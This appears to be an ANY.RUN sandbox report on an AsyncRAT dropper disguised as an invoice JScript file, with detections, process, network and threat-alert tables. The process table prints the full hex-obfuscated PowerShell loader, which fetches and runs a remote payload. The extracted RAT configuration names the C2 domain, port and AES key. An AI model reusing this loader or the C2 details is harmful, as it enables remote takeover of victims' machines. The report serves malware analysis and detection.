| File name: | factura de venta FV-1-6046.js |
| Full analysis: | https://app.any.run/tasks/4731cd28-45b7-4f37-97d4-a37cb4eec1f1 |
| Verdict: | Malicious activity |
| Threats: | AsyncRAT is a RAT that can monitor and remotely control infected systems. This malware was introduced on Github as a legitimate open-source remote administration software, but hackers use it for its many powerful malicious functions. |
| Analysis date: | May 29, 2025, 20:22:28 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/plain |
| File info: | Unicode text, UTF-8 text, with very long lines (355), with CRLF line terminators |
| MD5: | F0DE4C4C1AB131765046D834054F89B6 |
| SHA1: | 5934C19D0162CAB5CD751414FAD7BB444C382BC1 |
| SHA256: | EC8B03E4E8A1B0AA752F929EDFAF47BC90CD16701F7567B8DAF7680347879837 |
| SSDEEP: | 384:sZDzM+b5YNY7NEYRloByLsyEVqDIEYdRZwZVZFYpZtUEYwylNuuqcu5t1qDKEYf0:L+mayY9KFla |
MALICIOUS
Run PowerShell with an invisible window
- powershell.exe (PID: 7180)
Changes powershell execution policy (Bypass)
- wscript.exe (PID: 4776)
Bypass execution policy to execute commands
- powershell.exe (PID: 7180)
ASYNCRAT has been detected (MUTEX)
- jsc.exe (PID: 7916)
ASYNCRAT has been detected (SURICATA)
- jsc.exe (PID: 7916)
Downloads the requested resource (POWERSHELL)
- powershell.exe (PID: 7180)
Dynamically loads an assembly (POWERSHELL)
- powershell.exe (PID: 7180)
ASYNCRAT has been detected (YARA)
- jsc.exe (PID: 7916)
SUSPICIOUS
Probably obfuscated PowerShell command line is found
- wscript.exe (PID: 4776)
The process bypasses the loading of PowerShell profile settings
- wscript.exe (PID: 4776)
Runs shell command (SCRIPT)
- wscript.exe (PID: 4776)
Possibly malicious use of IEX has been detected
- wscript.exe (PID: 4776)
Starts POWERSHELL.EXE for commands execution
- wscript.exe (PID: 4776)
Converts a specified value to a byte (POWERSHELL)
- powershell.exe (PID: 7180)
Uses base64 encoding (POWERSHELL)
- powershell.exe (PID: 7180)
Contacting a server suspected of hosting an CnC
- jsc.exe (PID: 7916)
Connects to unusual port
- jsc.exe (PID: 7916)
Likely accesses (executes) a file from the Public directory
- cmd.exe (PID: 7828)
Potential Corporate Privacy Violation
- powershell.exe (PID: 7180)
Starts CMD.EXE for commands execution
- powershell.exe (PID: 7180)
INFO
Script raised an exception (POWERSHELL)
- powershell.exe (PID: 7180)
Uses string replace method (POWERSHELL)
- powershell.exe (PID: 7180)
Converts byte array into ASCII string (POWERSHELL)
- powershell.exe (PID: 7180)
Disables trace logs
- powershell.exe (PID: 7180)
Reads the computer name
- jsc.exe (PID: 7916)
Reads the machine GUID from the registry
- jsc.exe (PID: 7916)
Reads the software policy settings
- jsc.exe (PID: 7916)
- slui.exe (PID: 7348)
Checks proxy server information
- powershell.exe (PID: 7180)
Checks supported languages
- jsc.exe (PID: 7916)
.NET Reactor protector has been detected
- jsc.exe (PID: 7916)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
AsyncRat
(PID) Process(7916) jsc.exe
C2 (1)jujuevessdomingomartes202024.duckdns.org
Ports (1)3009
Version0.5.7B
Botnet202521
Options
AutoRunfalse
MutexAsyncMutex_6SI8OAdmm
InstallFolder%AppData%
BSoDfalse
AntiVMfalse
Certificates
Cert1MIIE8jCCAtqgAwIBAgIQAKxLlAkF1WRT8tAExBlQyzANBgkqhkiG9w0BAQ0FADAaMRgwFgYDVQQDDA9Bc3luY1JBVCBTZXJ2ZXIwIBcNMjIwOTIwMTQyNzUwWhgPOTk5OTEyMzEyMzU5NTlaMBoxGDAWBgNVBAMMD0FzeW5jUkFUIFNlcnZlcjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAKrrWexesJSLqGeYC6kTxL6e4fbMdbCF6T1opNgSYFlyavRm733h8x2GXmzipr8dl/UHWmWcPmk8...
Server_SignatureVHOui3XwBWSzos4FDgl8iWSUKgeSnMVrqQeh3dhx87jNDmze9BcpqmhEjQ0INXEJNlUYN6+zwIevF4cUH3vsHYZ3Ieq64Jl/Xff9Z6FC5b/a7tLvATcAKxgXgDpgEpwebPj9g5ndYOz70AropXxFOwDy5ZiwBIwlFQ8M7SK0RDPi8E7aAFhdz5Z7jfQ7HVa7N86DGG3XEzs47rQkuSbBgBuADxwVMBeRB1f0AcsyNRZsZx/Nvf1dpvLd9SBU/i0kcJhPzYuAUS6pmBD25q9HTiR3IplwndLEx0gVw/dNIB0G...
Keys
AESb1c37246b55dc32b5d8bbf2f31addfb86f85109465d2ec53d345384fdb752a58
Saltbfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
Total processes
141
Monitored processes
11
Malicious processes
3
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1188 | C:\WINDOWS\System32\slui.exe -Embedding | C:\Windows\System32\slui.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Activation Client Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2196 | C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache | C:\Windows\System32\svchost.exe | services.exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4776 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\factura de venta FV-1-6046.js" | C:\Windows\System32\wscript.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.812.10240.16384 Modules
| |||||||||||||||
| 7180 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -NoProfile -Command "$churchwide = '24 73 70 69 72 6f 6b 65 74 61 6c 20 3d 20 27 30 2f 67 37 71 37 50 6d 77 73 2f 64 2f 65 65 2e 65 23 73 61 70 2f 2f 3a 73 70 23 23 68 27 3b 24 73 70 69 72 6f 6b 65 74 61 6c 20 3d 20 24 73 70 69 72 6f 6b 65 74 61 6c 2e 52 65 70 6c 61 63 65 28 27 23 27 2c 20 27 74 27 29 3b 24 68 6f 6c 6f 73 74 65 69 20 3d 20 27 68 74 74 70 73 3a 2f 2f 69 61 36 30 30 37 30 33 2e 75 73 2e 61 72 63 68 69 76 65 2e 6f 72 67 2f 32 32 2f 69 74 65 6d 73 2f 6d 79 2d 66 69 6c 65 5f 32 30 32 35 30 35 2f 4d 79 46 69 6c 65 2e 74 78 74 27 3b 24 70 79 67 6d 61 65 61 6e 20 3d 20 28 4e 65 77 2d 4f 62 6a 65 63 74 20 53 79 73 74 65 6d 2e 4e 65 74 2e 57 65 62 43 6c 69 65 6e 74 29 2e 44 6f 77 6e 6c 6f 61 64 53 74 72 69 6e 67 28 24 68 6f 6c 6f 73 74 65 69 29 2e 52 65 70 6c 61 63 65 28 27 40 27 2c 27 41 27 29 3b 24 72 65 63 6f 72 72 65 63 74 65 64 20 3d 20 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 24 70 79 67 6d 61 65 61 6e 29 3b 24 66 65 6d 69 6e 61 74 65 20 3d 20 5b 52 65 66 6c 65 63 74 69 6f 6e 2e 41 73 73 65 6d 62 6c 79 5d 3a 3a 4c 6f 61 64 28 24 72 65 63 6f 72 72 65 63 74 65 64 29 3b 24 67 65 6e 75 70 68 61 6c 6c 61 74 69 6f 6e 73 20 3d 20 5b 64 6e 6c 69 62 2e 49 4f 2e 48 6f 6d 65 5d 2e 47 65 74 4d 65 74 68 6f 64 28 27 56 41 49 27 29 2e 49 6e 76 6f 6b 65 28 24 6e 75 6c 6c 2c 20 5b 6f 62 6a 65 63 74 5b 5d 5d 40 28 24 73 70 69 72 6f 6b 65 74 61 6c 2c 27 31 27 2c 27 43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 44 6f 77 6e 6c 6f 61 64 73 27 2c 27 67 61 75 64 61 72 69 61 6e 27 2c 27 6a 73 63 27 2c 27 27 2c 27 27 2c 27 27 2c 27 27 2c 27 27 2c 27 27 2c 27 6a 73 27 2c 27 27 2c 27 27 2c 27 27 2c 27 32 27 2c 27 27 29 29 3b'; $churchwide = $churchwide.Replace('',''); $roddy = $churchwide -split ' ' | ForEach-Object { [Convert]::ToByte($_,16) }; $trichomatose = [System.Text.Encoding]::ASCII.GetString($roddy); Invoke-Expression $trichomatose" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wscript.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7188 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7312 | C:\WINDOWS\system32\SppExtComObj.exe -Embedding | C:\Windows\System32\SppExtComObj.Exe | — | svchost.exe | |||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: KMS Connection Broker Version: 10.0.19041.3996 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7348 | "C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEvent | C:\Windows\System32\slui.exe | SppExtComObj.Exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows Activation Client Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7828 | "C:\Windows\System32\cmd.exe" /C copy *.js "C:\Users\Public\Downloads\gaudarian.js" | C:\Windows\System32\cmd.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7836 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7908 | "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: jsc.exe Exit code: 4294967295 Version: 14.8.9037.0 built by: NET481REL1 Modules
| |||||||||||||||
Total events
10 123
Read events
10 121
Write events
2
Delete events
0
Modification events
| (PID) Process: | (4776) wscript.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows Script\Settings\Telemetry\wscript.exe |
| Operation: | write | Name: | JScriptSetScriptStateStarted |
Value: A9B7100000000000 | |||
| (PID) Process: | (7180) powershell.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
| Operation: | write | Name: | Path |
Value: C:\Users\Public\Downloads\gaudarian.js | |||
Executable files
0
Suspicious files
2
Text files
2
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 7180 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_qpmdxyzy.mvh.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7180 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_wj1fr3z4.02p.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7180 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:CEDFD2F6E1FE54BB92A61DD41497DB11 | SHA256:75D9C22C13079AB86D7BFFE1622145C20D5FDFBB44184B83BD5A44C72CA4A387 | |||
| 7828 | cmd.exe | C:\Users\Public\Downloads\gaudarian.js | binary | |
MD5:DA5DFDE6892F0279520CB5D92E1DB7F3 | SHA256:8B7A7FF74269F0E887F0AA81A7D85B1F02E2442802283B21E58CA5AF0A446B88 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
22
DNS requests
18
Threats
8
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
5496 | MoUsoCoreWorker.exe | GET | 200 | 23.216.77.13:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
5496 | MoUsoCoreWorker.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
8184 | SIHClient.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
6544 | svchost.exe | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
8184 | SIHClient.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
— | — | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
5496 | MoUsoCoreWorker.exe | 23.216.77.13:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
5496 | MoUsoCoreWorker.exe | 23.35.229.160:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
5216 | RUXIMICS.exe | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
2104 | svchost.exe | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
7180 | powershell.exe | 207.241.227.163:443 | ia600703.us.archive.org | INTERNET-ARCHIVE | US | whitelisted |
3216 | svchost.exe | 172.211.123.249:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | FR | whitelisted |
7180 | powershell.exe | 23.186.113.60:443 | paste.ee | — | — | shared |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
ia600703.us.archive.org |
| whitelisted |
client.wns.windows.com |
| whitelisted |
paste.ee |
| shared |
jujuevessdomingomartes202024.duckdns.org |
| unknown |
slscr.update.microsoft.com |
| whitelisted |
fe3cr.delivery.mp.microsoft.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2196 | svchost.exe | Misc activity | ET INFO Pastebin-like Service Domain in DNS Lookup (paste .ee) |
7180 | powershell.exe | Potential Corporate Privacy Violation | ET INFO Pastebin-style Service (paste .ee) in TLS SNI |
2196 | svchost.exe | Potentially Bad Traffic | ET DYN_DNS DYNAMIC_DNS Query to a *.duckdns .org Domain |
2196 | svchost.exe | Misc activity | ET DYN_DNS DYNAMIC_DNS Query to *.duckdns. Domain |
7916 | jsc.exe | Domain Observed Used for C2 Detected | REMOTE [ANY.RUN] AsyncRAT SSL certificate |
7916 | jsc.exe | Domain Observed Used for C2 Detected | ET MALWARE Generic AsyncRAT/zgRAT Style SSL Cert |
7916 | jsc.exe | Domain Observed Used for C2 Detected | ET MALWARE Observed Malicious SSL Cert (AsyncRAT Server) |
7916 | jsc.exe | Malware Command and Control Activity Detected | REMOTE [ANY.RUN] AsyncRAT Successful Connection |